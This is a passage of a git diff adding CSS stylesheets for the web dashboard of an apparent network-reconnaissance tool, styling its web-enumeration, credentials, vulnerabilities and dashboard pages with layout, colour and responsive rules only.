+ cursor: pointer; + display: none; +} + +.webenum-container .clear-global-button.show { + display: inline-block; +} + +.webenum-container .webenum-filters { + display: flex; + gap: 8px; + flex-wrap: wrap; + align-items: center; +} + +.webenum-container .webenum-main-actions { + display: flex; + gap: 8px; + align-items: center; +} + +.webenum-container .webenum-filter-select, +.webenum-container .webenum-date-input { + border: 1px solid var(--c-border-strong); + border-radius: 10px; + background: var(--c-panel); + color: var(--ink); + padding: 8px 10px; +} + +.webenum-container .webenum-export-btns { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.webenum-container .vuln-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: var(--control-r); + padding: 8px 12px; + cursor: pointer; +} + +.webenum-container .vuln-btn:hover { + box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); +} + +.webenum-container .webenum-status-legend { + display: flex; + gap: 8px; + flex-wrap: wrap; + margin-top: 2px; +} + +.webenum-container .webenum-table-wrap { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + overflow: auto; +} + +.webenum-container .table-inner { + min-width: 100%; +} + +.webenum-container .webenum-table { + width: 100%; + border-collapse: collapse; +} + +.webenum-container .webenum-table th, +.webenum-container .webenum-table td { + padding: 8px 10px; + border-bottom: 1px dashed var(--c-border); + text-align: left; +} + +.webenum-container .webenum-table th { + position: sticky; + top: 0; + background: var(--c-panel); + z-index: 2; +} + +.webenum-container .webenum-row:hover { + background: color-mix(in oklab, var(--accent-2) 10%, transparent); +} + +.webenum-container .webenum-link { + color: var(--accent-2); + text-decoration: none; +} + +.webenum-container .webenum-link:hover { + text-decoration: underline; +} + +.webenum-container .webenum-dir-cell { + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; +} + +.webenum-container .webenum-pagination { + display: flex; + gap: 8px; + align-items: center; + justify-content: center; + flex-wrap: wrap; + margin-top: 8px; +} + +.webenum-container .webenum-perpage-wrap { + display: inline-flex; + gap: 6px; + align-items: center; +} + +.webenum-container .webenum-perpage { + border: 1px solid var(--c-border); + border-radius: 8px; + background: var(--c-panel); + color: var(--ink); + padding: 4px 8px; +} + +.webenum-container .modal-detail-section { + margin-bottom: 12px; +} + +.webenum-container .modal-section-title { + font-weight: 700; + margin-bottom: 4px; + color: var(--accent-2); +} + +.webenum-container .modal-section-text { + color: var(--ink); + line-height: 1.45; +} + +.webenum-container .webenum-modal-actions { + display: flex; + gap: 8px; + justify-content: flex-end; + margin-top: 8px; + flex-wrap: wrap; +} + +.webenum-container .page-loading { + padding: 18px; + color: var(--muted); + text-align: center; +} + +.webenum-container .vuln-modal { + display: none; + position: fixed; + inset: 0; + background: var(--glass-8); + z-index: 1000; +} + +.webenum-container .vuln-modal.show { + display: flex; + align-items: center; + justify-content: center; +} + +.webenum-container .vuln-modal-content { + background: var(--grad-modal); + border-radius: 12px; + max-width: 800px; + width: 90%; + max-height: 80vh; + overflow-y: auto; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow-hover); +} + +.webenum-container .vuln-modal-header { + padding: 12px; + border-bottom: 1px solid var(--c-border); + display: flex; + justify-content: space-between; + align-items: center; + position: sticky; + top: 0; + background: var(--grad-quickpanel); + z-index: 1; +} + +.webenum-container .vuln-modal-title { + font-size: 18px; + font-weight: 800; +} + +.webenum-container .vuln-modal-close { + background: none; + border: none; + color: var(--muted); + font-size: 24px; + cursor: pointer; +} + +.webenum-container .vuln-modal-body { + padding: 12px; +} + +/* ---- Web Enum mobile responsive ---- */ +@media (max-width: 768px) { + .webenum-container .webenum-controls { + gap: 6px; + padding: 8px; + } + + .webenum-container .stats-bar { + grid-template-columns: repeat(4, 1fr); + gap: 4px; + } + + .webenum-container .stats-bar .stat-item { + padding: 4px 6px; + gap: 2px; + } + + .webenum-container .stats-bar .stat-value { + font-size: 16px; + } + + .webenum-container .stats-bar .stat-label { + font-size: 10px; + } + + .webenum-container .global-search-container { + min-width: 0; + width: 100%; + } + + .webenum-container .webenum-filters { + flex-direction: row; + flex-wrap: wrap; + align-items: center; + gap: 4px; + } + + .webenum-container .webenum-filter-select { + flex: 1; + min-width: 0; + padding: 6px 8px; + font-size: .82rem; + } + + .webenum-container .webenum-table th, + .webenum-container .webenum-table td { + padding: 6px 8px; + font-size: .82rem; + } + + .webenum-container .webenum-pagination { + gap: 4px; + } + + .webenum-container .webenum-table-wrap { + flex: 1; + min-height: 0; + } +} + +/* ---- Zombieland runtime aliases moved to zombieland.css ---- */ + +/* ---- Database runtime aliases ---- */ +.db-container .db-main { + display: flex; + flex-direction: column; + gap: 10px; + min-width: 0; + min-height: 0; + flex: 1 1 auto; +} + +.db-container .db-sidebar { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + padding: 0; + overflow: hidden; + min-height: 0; +} + +.db-container .db-toolbar { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.db-container .db-sidebar-filter, +.db-container .db-limit-select { + border: 1px solid var(--c-border); + border-radius: 8px; + background: var(--c-panel); + color: var(--ink); + padding: 6px 8px; +} + +.db-container .db-sidebar-filter { + width: 100%; +} + +.db-container .db-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.db-container .db-tree-group { + display: grid; + gap: 8px; + margin-top: 10px; +} + +.db-container .db-tree-icon { + width: 16px; + display: inline-flex; + justify-content: center; + flex: 0 0 16px; +} + +.db-container .db-tree-label { + font-size: 12px; + font-weight: 700; + color: var(--muted); + letter-spacing: .04em; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.db-container .db-thead, +.db-container .db-tbody { + display: table-row-group; +} + +.db-container .db-th, +.db-container .db-td { + display: table-cell; +} + +.db-container .db-th-sel, +.db-container .db-td-sel { + width: 44px; + text-align: center; +} + +.db-container .db-cell { + display: block; + min-width: 90px; + max-width: 420px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + border-radius: 6px; + padding: 2px 6px; +} + +.db-container .db-cell[contenteditable="true"]:focus { + outline: none; + background: color-mix(in oklab, var(--acid) 14%, transparent); + box-shadow: 0 0 0 1px var(--c-border-hi) inset; +} + +.db-container .db-live-label { + display: inline-flex; + align-items: center; + gap: 6px; + color: var(--muted); + font-size: 12px; +} + +.db-container .db-danger { + color: var(--danger); + display: flex; + gap: 8px; + flex-wrap: wrap; + align-items: center; + border: 1px dashed color-mix(in oklab, var(--danger) 45%, var(--c-border)); + border-radius: 10px; + padding: 8px; +} + +.db-container .db-status { + font-size: 12px; + color: var(--muted); + min-height: 16px; +} + +.db-container .db-empty-state { + padding: 40px; + text-align: center; + opacity: .6; +} + +@media (max-width: 1100px) { + .db-container .db-search-input { + min-width: 0; + width: 100%; + } +} + +.db-container.page-with-sidebar { + --page-sidebar-w: 320px; +} + +.db-container.page-with-sidebar .db-sidebar { + display: flex; + flex-direction: column; +} + +.db-container.page-with-sidebar .db-table-wrap { + min-height: 280px; +} + +.db-container .db-table-wrap table.db { + min-width: 640px; +} + +@media (max-width: 900px) { + .db-container.page-with-sidebar { + --page-sidebar-w: min(90vw, 340px); + } + + .db-container .db-actions { + display: grid; + grid-template-columns: repeat(2, minmax(0, 1fr)); + gap: 6px; + } + + .db-container .db-actions .vuln-btn { + width: 100%; + } + + .db-container .db-cell { + max-width: 240px; + } +} + +@media (max-width: 560px) { + .db-container .db-actions { + grid-template-columns: 1fr; + } + + .db-container .db-table-wrap table.db { + min-width: 520px; + } +} + +/* ---- Vulnerabilities runtime aliases ---- */ +.vuln-container .page-loading { + padding: 16px; + color: var(--muted); + text-align: center; +} + +.vuln-container .host-severity-pills { + display: flex; + gap: 6px; + flex-wrap: wrap; +} + +.vuln-container .host-vuln-info { + display: grid; + gap: 4px; +} + +.vuln-container .meta-label { + color: var(--muted); + font-size: 12px; +} + +.vuln-container .meta-value { + color: var(--ink); + font-size: 13px; +} + +.vuln-container .vuln-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.vuln-container .vuln-affected-table { + width: 100%; + border-collapse: collapse; +} + +.vuln-container .vuln-affected-table th, +.vuln-container .vuln-affected-table td { + padding: 8px; + border-bottom: 1px dashed var(--c-border); + text-align: left; +} + +.vuln-container .vuln-affected-row:hover { + background: color-mix(in oklab, var(--accent-2) 10%, transparent); +} + +.vuln-container .vuln-ref-link { + color: var(--accent-2); + text-decoration: none; +} + +.vuln-container .vuln-ref-link:hover { + text-decoration: underline; +} + +.vuln-container .modal-detail-section { + margin-bottom: 10px; +} + +.vuln-container .modal-section-title { + font-weight: 700; + margin-bottom: 4px; + color: var(--accent-2); +} + +.vuln-container .modal-section-text { + color: var(--ink); + line-height: 1.45; +} + +/* ---- Misc runtime aliases ---- */ +.backup-table { + width: 100%; + border-collapse: collapse; +} + +.backup-table th, +.backup-table td { + padding: 8px; + border-bottom: 1px dashed var(--c-border); + text-align: left; +} + +.backup-table th { + color: var(--muted); +} + +.page-loading { + color: var(--muted); + text-align: center; + padding: 16px; +} + +.network-container .network-empty { + padding: 14px; + text-align: center; + color: var(--muted); + border: 1px dashed var(--c-border); + border-radius: 10px; + background: var(--panel); +} + +.network-container .table-inner { + min-width: max-content; +} + +/* ---- Final parity aliases ---- */ +.actions-container .sidebar-page { + display: block; +} + +.vuln-container.page-with-sidebar { + --page-sidebar-w: 300px; +} + +.vuln-container.page-with-sidebar .vuln-sidebar { + min-height: 0; +} + +.vuln-container.page-with-sidebar .vuln-main { + min-width: 0; + display: flex; + flex-direction: column; + gap: 10px; +} + +.vuln-container.page-with-sidebar .vuln-main .vuln-controls { + margin-bottom: 0; +} + +.vuln-container.page-with-sidebar .vuln-main .vuln-severity-bar { + margin-bottom: 0; +} + +.vuln-container.page-with-sidebar .vuln-main .services-grid { + max-height: none; + min-height: 280px; +} + +.vuln-container.page-with-sidebar .stats-header { + display: grid; + gap: 10px; +} + +/* ---- Zombieland secondary aliases moved to zombieland.css ---- */ + +.bjorn-container .bjorn-epd-img { + image-rendering: auto; + border-radius: 10px; + box-shadow: var(--shadow); +} \ No newline at end of file diff --git a/web/css/pages/credentials.css b/web/css/pages/credentials.css new file mode 100644 index 0000000..0e3c0e4 --- /dev/null +++ b/web/css/pages/credentials.css @@ -0,0 +1,370 @@ +/* ===== CREDENTIALS ===== */ +.credentials-container { + display: flex; + flex-direction: column; + gap: 12px; + scroll-padding-top: 56px; +} + +.credentials-container .stats-bar { + display: flex; + gap: 12px; + flex-wrap: wrap; + padding: 12px; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + box-shadow: var(--_shadow); + backdrop-filter: blur(16px); +} + +.credentials-container .stat-item { + display: flex; + align-items: center; + gap: 8px; + padding: 8px 12px; + border: 1px solid var(--_border); + border-radius: 10px; + background: color-mix(in oklab, var(--_panel) 70%, transparent); +} + +.credentials-container .stat-icon { + font-size: 1.1rem; + opacity: .9; +} + +.credentials-container .stat-value { + font-weight: 800; + background: linear-gradient(135deg, var(--_acid), var(--_acid2)); + -webkit-background-clip: text; + background-clip: text; + -webkit-text-fill-color: transparent; +} + +.credentials-container .stat-label { + color: var(--_muted); + font-size: .8rem; +} + +.credentials-container .global-search-container { + position: relative; +} + +.credentials-container .global-search-input { + width: 100%; + padding: 10px 14px; + border-radius: 12px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 90%, transparent); + color: var(--_ink); +} + +.credentials-container .global-search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 40%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); +} + +.credentials-container .clear-global-button { + position: absolute; + right: 10px; + top: 50%; + transform: translateY(-50%); + background: none; + border: 1px solid var(--_border); + color: #ef4444; + border-radius: 8px; + padding: 2px 6px; + display: none; +} + +.credentials-container .clear-global-button.show { + display: block; +} + +.credentials-container .tabs-container { + position: sticky; + top: 0; + z-index: 20; + display: flex; + align-items: center; + gap: 8px; + padding: 8px 12px; + min-height: 44px; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + background: color-mix(in oklab, var(--_panel) 92%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + box-shadow: var(--_shadow); +} + +.credentials-container .tabs-container::-webkit-scrollbar { + height: 0; +} + +.credentials-container .tab { + padding: 10px 18px; + border-radius: 10px; + cursor: pointer; + color: var(--_muted); + font-weight: 700; + font-size: .9rem; + border: 1px solid transparent; + white-space: nowrap; + flex: 0 0 auto; +} + +.credentials-container .tab:hover { + background: rgba(255, 255, 255, .05); + color: var(--_ink); + border-color: var(--_border); +} + +.credentials-container .tab.active { + color: var(--_ink); + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid2) 18%, transparent), color-mix(in oklab, var(--_acid) 14%, transparent)); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.credentials-container .tab-badge { + margin-left: 8px; + padding: 2px 6px; + border-radius: 999px; + background: rgba(255, 255, 255, .1); + border: 1px solid var(--_border); + font-size: .75rem; +} + +.credentials-container .services-grid { + display: flex; + flex-direction: column; + gap: 12px; +} + +.credentials-container .service-card { + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border: 1px solid var(--_border); + border-radius: 16px; + overflow: hidden; + box-shadow: var(--_shadow); +} + +.credentials-container .service-header { + display: flex; + align-items: center; + gap: 8px; + padding: 12px; + cursor: pointer; + user-select: none; + border-bottom: 1px solid color-mix(in oklab, var(--_border) 65%, transparent); +} + +.credentials-container .service-header:hover { + background: rgba(255, 255, 255, .04); +} + +.credentials-container .service-title { + flex: 1; + font-weight: 800; + letter-spacing: .2px; + font-size: .95rem; + text-transform: uppercase; + background: linear-gradient(135deg, var(--_acid), var(--_acid2)); + -webkit-background-clip: text; + background-clip: text; + -webkit-text-fill-color: transparent; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.credentials-container .service-count { + font-weight: 800; + font-size: .8rem; + padding: 4px 8px; + border-radius: 10px; + background: rgba(255, 255, 255, .08); + color: var(--_ink); + border: 1px solid var(--_border); +} + +.credentials-container .service-card[data-credentials]:not([data-credentials="0"]) .service-count { + background: linear-gradient(135deg, #2e2e2e, #4CAF50); + box-shadow: inset 0 0 0 1px rgba(76, 175, 80, .35); +} + +.credentials-container .search-container { + position: relative; +} + +.credentials-container .search-input { + padding: 6px 24px 6px 8px; + border: none; + border-radius: 10px; + background: rgba(255, 255, 255, .06); + color: var(--_ink); + font-size: .82rem; +} + +.credentials-container .search-input:focus { + outline: none; + background: rgba(255, 255, 255, .1); +} + +.credentials-container .clear-button { + position: absolute; + right: 4px; + top: 50%; + transform: translateY(-50%); + border: none; + background: none; + color: #ef4444; + cursor: pointer; + display: none; +} + +.credentials-container .clear-button.show { + display: block; +} + +.credentials-container .download-button { + border: 1px solid var(--_border); + background: rgba(255, 255, 255, .04); + color: var(--_muted); + border-radius: 8px; + padding: 4px 8px; + cursor: pointer; +} + +.credentials-container .download-button:hover { + color: #e99f00; + filter: brightness(1.06); +} + +.credentials-container .collapse-indicator { + color: var(--_muted); +} + +.credentials-container .service-card.collapsed .service-content { + max-height: 0; + overflow: hidden; +} + +.credentials-container .service-content { + padding: 8px 12px; +} + +.credentials-container .credential-item { + border: 1px solid var(--_border); + border-radius: 10px; + margin-bottom: 6px; + padding: 8px; + background: rgba(255, 255, 255, .02); + display: grid; + grid-template-columns: repeat(auto-fit, minmax(120px, 1fr)); + gap: 8px; +} + +.credentials-container .credential-field { + display: flex; + align-items: center; + gap: 6px; +} + +.credentials-container .field-label { + font-size: .78rem; + color: var(--_muted); +} + +.credentials-container .field-value { + flex: 1; + padding: 2px 6px; + border-radius: 8px; + cursor: pointer; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + border: 1px solid transparent; +} + +.credentials-container .field-value:hover { + background: rgba(255, 255, 255, .06); + border-color: var(--_border); +} + +.credentials-container .bubble-blue { + background: linear-gradient(135deg, #1d2a32, #00c4d6); + color: #fff; +} + +.credentials-container .bubble-green { + background: linear-gradient(135deg, #1e2a24, #00b894); + color: #fff; +} + +.credentials-container .bubble-orange { + background: linear-gradient(135deg, #3b2f1a, #e7951a); + color: #fff; +} + +.credentials-container .copied-feedback { + position: fixed; + left: 50%; + bottom: 20px; + transform: translateX(-50%); + padding: 8px 12px; + background: #4CAF50; + color: #fff; + border-radius: 10px; + box-shadow: var(--_shadow); + opacity: 0; + transition: opacity .25s; + z-index: 9999; +} + +.credentials-container .copied-feedback.show { + opacity: 1; +} + +/* ── Mobile responsive ── */ +@media (max-width: 768px) { + .credentials-container .stats-bar { + flex-wrap: wrap; + gap: 8px; + } + + .credentials-container .tabs-container { + flex-wrap: wrap; + gap: 4px; + } + + .credentials-container .tab { + font-size: .75rem; + padding: .35rem .6rem; + } + + .credentials-container .services-grid { + grid-template-columns: 1fr; + } + + .credentials-container .service-header { + flex-wrap: wrap; + gap: 6px; + } + + .credentials-container .search-container { + width: 100%; + order: 10; + } + + .credentials-container .credential-field { + flex-direction: column; + gap: 2px; + } + + .credentials-container .field-value { + word-break: break-all; + } +} + diff --git a/web/css/pages/dashboard.css b/web/css/pages/dashboard.css new file mode 100644 index 0000000..cdf4a56 --- /dev/null +++ b/web/css/pages/dashboard.css @@ -0,0 +1,660 @@ +/* ===== MODERN DASHBOARD ===== */ +.dashboard-container.modern-dash { + --pad: 12px; + --gap: 12px; + --card-bg: color-mix(in oklab, var(--_panel) 40%, transparent); + --card-border: color-mix(in oklab, var(--_border) 80%, transparent); + --card-radius: 16px; + --anim-ease: cubic-bezier(0.2, 0.8, 0.2, 1); + --accent: var(--_acid, #00ff9a); + --glass: blur(12px); + + display: flex; + flex-direction: column; + gap: var(--gap); + padding: 8px; + max-width: 1400px; + margin: 0 auto; +} + +@media (min-width: 768px) { + .dashboard-container.modern-dash { + padding: 16px; + --gap: 16px; + } +} + +/* Animations */ +@keyframes slip-up { + 0% { + opacity: 0; + transform: translateY(12px) scale(0.98); + } + + 100% { + opacity: 1; + transform: translateY(0) scale(1); + } +} + +.modern-dash .anim-enter { + animation: slip-up 0.5s var(--anim-ease) both; +} + +.modern-dash .anim-enter:nth-child(1) { + animation-delay: 0.0s; +} + +.modern-dash .anim-enter:nth-child(2) { + animation-delay: 0.1s; +} + +.modern-dash .anim-enter:nth-child(3) { + animation-delay: 0.15s; +} + +/* Top Bar */ +.modern-dash .top-bar { + display: flex; + justify-content: space-between; + align-items: center; + padding: 4px 6px; + font-size: 11px; +} + +.modern-dash .liveops { + display: flex; + align-items: center; + gap: 8px; + cursor: pointer; + padding: 6px 12px; + border-radius: 20px; + background: var(--card-bg); + border: 1px solid var(--card-border); + backdrop-filter: var(--glass); + -webkit-backdrop-filter: var(--glass); + box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); + transition: all 0.2s ease; + font-weight: 700; + color: var(--_ink); +} + +.modern-dash .liveops:hover { + background: color-mix(in oklab, var(--_panel) 70%, transparent); + border-color: var(--accent); + transform: translateY(-1px); +} + +.modern-dash .liveops-time { + font-weight: 500; + color: var(--_muted); +} + +.modern-dash .pulse-dot { + width: 8px; + height: 8px; + border-radius: 50%; + background: var(--ok); + box-shadow: 0 0 8px var(--ok); + animation: pulse-dot-anim 1.5s infinite; +} + +@keyframes pulse-dot-anim { + + 0%, + 100% { + opacity: 1; + transform: scale(1); + } + + 50% { + opacity: .5; + transform: scale(1.3); + } +} + +.modern-dash .sys-badges { + display: flex; + gap: 6px; +} + +.modern-dash .badge { + padding: 6px 10px; + border-radius: 12px; + background: var(--card-bg); + border: 1px solid var(--card-border); + font-family: ui-monospace, monospace; + font-size: 11px; + font-weight: 700; + color: var(--_ink); + backdrop-filter: var(--glass); + -webkit-backdrop-filter: var(--glass); + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05); + display: flex; + align-items: center; + justify-content: center; +} + +.modern-dash .mode-badge { + color: var(--accent); + border-color: color-mix(in oklab, var(--accent) 30%, transparent); +} + +/* Main layout grid */ +.modern-dash .dash-main { + display: grid; + grid-template-columns: 1fr; + gap: var(--gap); +} + +@media(min-width: 900px) { + .modern-dash .dash-main { + grid-template-columns: 340px 1fr; + } +} + +@media(min-width: 1200px) { + .modern-dash .dash-main { + grid-template-columns: 380px 1fr; + } +} + +.modern-dash .dash-col-left, +.modern-dash .dash-col-right { + display: flex; + flex-direction: column; + gap: var(--gap); +} + +/* Card Base */ +.modern-dash .dash-card { + background: var(--card-bg); + border: 1px solid var(--card-border); + border-radius: var(--card-radius); + padding: var(--pad); + position: relative; + overflow: hidden; + backdrop-filter: var(--glass); + -webkit-backdrop-filter: var(--glass); + box-shadow: 0 8px 32px rgba(0, 0, 0, 0.05); + transition: transform 0.2s ease, box-shadow 0.2s ease, border-color 0.2s ease; +} + +.modern-dash .dash-card:hover { + border-color: color-mix(in oklab, var(--_border) 100%, transparent); +} + +/* Hero Card */ +.modern-dash .hero-card { + display: flex; + align-items: stretch; + padding: 16px; + gap: 16px; + background: linear-gradient(135deg, color-mix(in oklab, var(--_panel) 60%, transparent), color-mix(in oklab, var(--_panel) 20%, transparent)); +} + +.modern-dash .hero-left { + flex: 0 0 auto; + display: flex; + align-items: center; + justify-content: center; +} + +.modern-dash .hero-divider { + width: 1px; + background: var(--card-border); + margin: 4px 0; +} + +.modern-dash .hero-right { + flex: 1 1 auto; + display: flex; + flex-direction: column; + justify-content: center; + min-width: 0; +} + +/* Battery Widget */ +.modern-dash .battery-wrap { + position: relative; + width: 90px; + height: 90px; + display: grid; + place-items: center; +} + +@media(min-width: 400px) { + .modern-dash .battery-wrap { + width: 110px; + height: 110px; + } +} + +.modern-dash .battery-ring { + position: absolute; + left: 50%; + top: 50%; + width: 100%; + height: 100%; + transform: translate(-50%, -50%) rotate(-90deg); + display: block; +} + +.modern-dash .batt-bg { + fill: none; + stroke: color-mix(in oklab, var(--_ink) 10%, transparent); + stroke-width: 13; + opacity: .35; +} + +.modern-dash .batt-fg { + fill: none; + stroke: url(#batt-grad); + stroke-width: 13; + stroke-linecap: round; + filter: url(#batt-glow); + stroke-dasharray: 100; + stroke-dashoffset: 100; + transition: stroke-dashoffset 0.9s cubic-bezier(0.4, 0, 0.2, 1); +} + +.modern-dash .batt-scan { + fill: none; + stroke: var(--_acid2); + stroke-width: 13; + stroke-linecap: round; + stroke-dasharray: 8 280; + opacity: .14; + transform-origin: 50% 50%; + animation: batt-spin 2.2s linear infinite; +} + +@keyframes batt-spin { + to { + transform: rotate(360deg); + } +} + +.modern-dash .batt-center { + position: absolute; + inset: 0; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + z-index: 10; +} + +.modern-dash .bjorn-portrait { + width: 32px; + height: 32px; + position: relative; + margin-bottom: 2px; +} + +@media(min-width: 400px) { + .modern-dash .bjorn-portrait { + width: 40px; + height: 40px; + } +} + +.modern-dash .bjorn-portrait img { + width: 100%; + height: 100%; + object-fit: contain; + filter: drop-shadow(0 2px 4px rgba(0, 0, 0, 0.5)); +} + +.modern-dash .bjorn-lvl { + position: absolute; + right: -8px; + bottom: -4px; + font-size: 8px; + font-weight: 800; + padding: 1px 4px; + border-radius: 6px; + background: var(--_panel); + color: var(--accent); + border: 1px solid var(--card-border); +} + +.modern-dash .batt-val { + font-size: 18px; + font-weight: 800; + line-height: 1; + text-shadow: 0 0 10px rgba(0, 0, 0, 0.5); + display: flex; + align-items: baseline; +} + +.modern-dash .batt-state { + display: flex; + align-items: center; + gap: 4px; + font-size: 9px; + margin-top: 2px; + color: var(--_muted); +} + +.modern-dash .hide-mobile { + display: none; +} + +@media(min-width: 1200px) { + .modern-dash .hide-mobile { + display: inline; + } +} + +.modern-dash .batt-indicator svg { + width: 12px; + height: 12px; + stroke: currentColor; + fill: none; + stroke-width: 2; + margin-top: 2px; +} + +/* System Bars Widget */ +.modern-dash .sys-bars { + display: flex; + flex-direction: column; + gap: 8px; + width: 100%; +} + +.modern-dash .sys-row .sys-lbl { + display: flex; + justify-content: space-between; + font-size: 10px; + font-weight: 700; + color: var(--_muted); + margin-bottom: 4px; +} + +.modern-dash .sys-vals { + color: var(--_ink); + font-weight: 600; + font-family: ui-monospace, monospace; +} + +.modern-dash .bar { + width: 100%; + height: 6px; + border-radius: 4px; + background: color-mix(in oklab, var(--_ink) 10%, transparent); + overflow: hidden; +} + +.modern-dash .bar i { + display: block; + height: 100%; + width: 0%; + border-radius: 4px; + background: linear-gradient(90deg, var(--accent), var(--_acid2)); + transition: width 0.5s ease; +} + +.modern-dash .bar i.warm { + background: linear-gradient(90deg, #ffd166, #ffbe55); +} + +.modern-dash .bar i.hot { + background: linear-gradient(90deg, #ff4d6d, #ff6b6b); +} + +/* Connectivity Card */ +.modern-dash .net-card { + padding: var(--pad); +} + +.modern-dash .net-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 12px; +} + +.modern-dash .net-title { + font-size: 14px; + font-weight: 800; + color: var(--_ink); +} + +.modern-dash .net-badge-wrap { + font-size: 11px; + font-weight: 600; + color: var(--_muted); + display: flex; + align-items: center; + gap: 6px; +} + +.modern-dash .net-badge { + padding: 2px 8px; + border-radius: 10px; + font-size: 10px; + font-weight: 800; + background: color-mix(in oklab, var(--danger, #ff4d6d) 20%, transparent); + color: var(--danger, #ff4d6d); + border: 1px solid color-mix(in oklab, var(--danger, #ff4d6d) 40%, transparent); +} + +.modern-dash .net-badge.net-on { + background: color-mix(in oklab, var(--ok) 20%, transparent); + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 40%, transparent); +} + +.modern-dash .conn-grid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 8px; +} + +.modern-dash .conn-box { + background: var(--card-bg); + border: 1px solid var(--card-border); + border-radius: 12px; + padding: 10px 4px; + display: flex; + flex-direction: column; + align-items: center; + gap: 6px; + position: relative; + transition: all 0.2s; +} + +.modern-dash .conn-box:hover { + background: color-mix(in oklab, var(--_panel) 80%, transparent); + transform: translateY(-2px); +} + +.modern-dash .conn-icon svg { + width: 22px; + height: 22px; + stroke: var(--_muted); + fill: none; + stroke-width: 1.5; +} + +.modern-dash .conn-box.on .conn-icon svg { + stroke: var(--accent); + filter: drop-shadow(0 0 6px rgba(0, 255, 154, 0.4)); +} + +.modern-dash .conn-lbl { + font-size: 11px; + font-weight: 600; + color: var(--_ink); +} + +.modern-dash .state-pill { + font-size: 9px; + font-weight: 800; + padding: 2px 6px; + border-radius: 6px; + background: color-mix(in oklab, var(--_ink) 10%, transparent); + color: var(--_muted); + text-transform: uppercase; +} + +.modern-dash .conn-box.on .state-pill { + background: color-mix(in oklab, var(--ok) 20%, transparent); + color: var(--ok); +} + +.modern-dash .conn-det-wrap { + display: none; +} + +/* KPI Grid */ +.modern-dash .kpi-grid { + display: grid; + grid-template-columns: repeat(3, 1fr); + gap: var(--gap); +} + +@media(min-width: 480px) { + .modern-dash .kpi-grid { + grid-template-columns: repeat(4, 1fr); + } +} + +@media(min-width: 1024px) { + .modern-dash .kpi-grid { + grid-template-columns: repeat(4, 1fr); + } +} + +.modern-dash .kpi-box { + background: var(--card-bg); + border: 1px solid var(--card-border); + border-radius: var(--card-radius); + padding: 12px; + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; + backdrop-filter: var(--glass); + -webkit-backdrop-filter: var(--glass); + box-shadow: 0 4px 16px rgba(0, 0, 0, 0.05); + transition: transform 0.2s, background 0.2s; + text-align: center; +} + +.modern-dash .kpi-box:hover { + transform: translateY(-2px); + background: color-mix(in oklab, var(--_panel) 60%, transparent); + border-color: color-mix(in oklab, var(--_border) 100%, transparent); +} + +.modern-dash .kpi-ico { + margin-bottom: 6px; +} + +.modern-dash .kpi-ico svg { + width: 24px; + height: 24px; + stroke: var(--_muted); + fill: none; + stroke-width: 1.5; + opacity: 0.6; +} + +.modern-dash .kpi-val { + font-size: 20px; + font-weight: 800; + color: var(--_ink); + line-height: 1; + margin-bottom: 4px; + display: flex; + align-items: baseline; + justify-content: center; + gap: 4px; +} + +.modern-dash .kpi-val.multi-val { + font-size: 16px; +} + +.modern-dash .kpi-val .dim { + opacity: 0.6; + font-size: 0.85em; +} + +.modern-dash .kpi-lbl { + font-size: 10px; + text-transform: uppercase; + font-weight: 700; + color: var(--_muted); + letter-spacing: 0.5px; +} + +.modern-dash .kpi-extra { + margin-top: 4px; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; +} + +.modern-dash .delta { + font-size: 9px; + font-weight: 700; + padding: 2px 6px; + border-radius: 6px; + background: color-mix(in oklab, var(--_ink) 10%, transparent); + color: var(--_muted); +} + +.modern-dash .delta.good { + background: color-mix(in oklab, var(--ok) 20%, transparent); + color: var(--ok); + border: 1px solid color-mix(in oklab, var(--ok) 40%, transparent); +} + +.modern-dash .delta.bad { + background: color-mix(in oklab, var(--danger, #ff4d6d) 20%, transparent); + color: var(--danger, #ff4d6d); + border: 1px solid color-mix(in oklab, var(--danger, #ff4d6d) 40%, transparent); +} + +/* Footer info */ +.modern-dash .footer-card { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 16px; + padding: 16px; +} + +.modern-dash .footer-col { + display: flex; + flex-direction: column; + gap: 4px; +} + +.modern-dash .f-title { + font-size: 11px; + font-weight: 800; + color: var(--_ink); + margin-bottom: 2px; + text-transform: uppercase; + letter-spacing: 1px; +} + +.modern-dash .f-title.mt { + margin-top: 8px; +} + +.modern-dash .f-val { + font-size: 11px; + color: var(--_muted); + font-family: ui-monospace, monospace; +} + +.modern-dash .f-val.gps-state { + font-weight: 800; + color: var(--accent); +} \ No newline at end of file diff --git a/web/css/pages/database.css b/web/css/pages/database.css new file mode 100644 index 0000000..738f02e --- /dev/null +++ b/web/css/pages/database.css @@ 